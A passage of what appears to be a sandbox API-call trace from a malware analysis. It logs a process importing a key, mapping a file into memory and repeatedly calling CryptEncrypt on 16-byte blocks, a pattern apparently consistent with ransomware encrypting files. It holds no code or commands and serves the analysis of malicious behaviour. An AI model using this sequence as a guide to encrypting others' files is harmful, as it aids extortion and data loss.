phKey=0x3e0cd64*=0x1639b68) returned 1 [0128.285] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d210*, pdwDataLen=0x3e0cd54*=0x80) returned 1 [0128.286] CryptDestroyKey (hKey=0x1639b68) returned 1 [0128.286] CryptReleaseContext (hProv=0x1668570, dwFlags=0x0) returned 1 [0128.286] CreateFileMappingW (hFile=0x288, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa00, lpName=0x0) returned 0x3c0 [0128.286] MapViewOfFile (hFileMappingObject=0x3c0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa00) returned 0x1480000 [0128.286] CryptAcquireContextW (in: phProv=0x3e0cd48, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0cd48*=0x16688a0) returned 1 [0128.287] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0cd00, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0cd58 | out: phKey=0x3e0cd58*=0x1639b68) returned 1 [0128.287] CryptSetKeyParam (hKey=0x1639b68, dwParam=0x4, pbData=0x3e0cd3c*=0x2, dwFlags=0x0) returned 1 [0128.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0cd44*=0x10) returned 1 [0128.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.287] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.288] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.289] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.290] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.291] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0128.292] CryptEncrypt (in: 